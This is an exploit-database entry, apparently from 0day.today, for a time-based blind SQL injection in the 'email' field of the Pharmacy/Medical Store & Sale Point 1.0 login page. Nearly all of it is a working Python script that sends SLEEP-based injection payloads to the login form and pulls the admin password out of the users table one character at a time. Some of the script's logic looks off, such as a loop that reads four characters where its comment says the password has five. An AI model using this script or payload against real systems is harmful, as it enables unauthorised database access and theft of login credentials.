Pharmacy / Medical Store & Sale Point 1.0 - (email) SQL Injection Exploit

# Exploit Title: Pharmacy/Medical Store & Sale Point 1.0  - 'email' SQL Injection
# Exploit Author: @naivenom
# Vendor Homepage: https://www.sourcecodester.com/php/14398/pharmacymedical-store-sale-point-using-phpmysql-bootstrap-framework.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14398&title=Pharmacy%2FMedical+Store+%26+Sale+Point+Using+PHP%2FMySQL+with+Bootstrap+Framework
# Version: 1.0
# Tested on: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
 
This parameter "email" is vulnerable to Time-Based blind SQL injection
in this path "/medical/login.php " that leads to retrieve all
databases.
 
#exploit
 
import re
import requests
from bs4 import BeautifulSoup
import sys
import urllib3
import time
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
# We can test the time based blind sqli with this script. This script
testing with each character of the password column from users name
table
 
# and retrieve password from admin user.
 
def time_based_blind_sqli(injection_string):
 
    target = "http://localhost:81/medical-store-source/login.php"
 
    for j in range(32,126):
 
        data = {'email': "%s" % (injection_string.replace("[CHAR]", str(j))),
 
        'password':'xJXb',
 
        'login':''}
 
        tim = time.time()
 
        r = requests.post(target,data = data, verify=False)
 
        nowtime = time.time()
 
        curren = nowtime-tim
 
        if curren <= 4:
 
            return j
 
    return None
 
def main():
 
    print("\n(+) Retrieving password from admin user...")
 
    # 5 is length of the password. This can
 
    # be dynamically stolen from the database as well!
 
    for i in range(1,5):
 
        injection_string = "[email protected]' AND (SELECT 1100 FROM
(SELECT(SLEEP(4-(IF(ORD(MID((SELECT IFNULL(CAST(password AS
NCHAR),0x20) FROM store.users ORDER BY password LIMIT
0,1),%d,1))>[CHAR],0,1)))))soLu) AND 'yHIV'='yHIV" % i
 
        extracted_char = chr(time_based_blind_sqli(injection_string))
 
        sys.stdout.write(extracted_char)
 
        sys.stdout.flush()
 
    print("\n(+) done!")
 
 
 
if __name__ == "__main__":
 
    main()
 
#  0day.today [2020-12-03]  #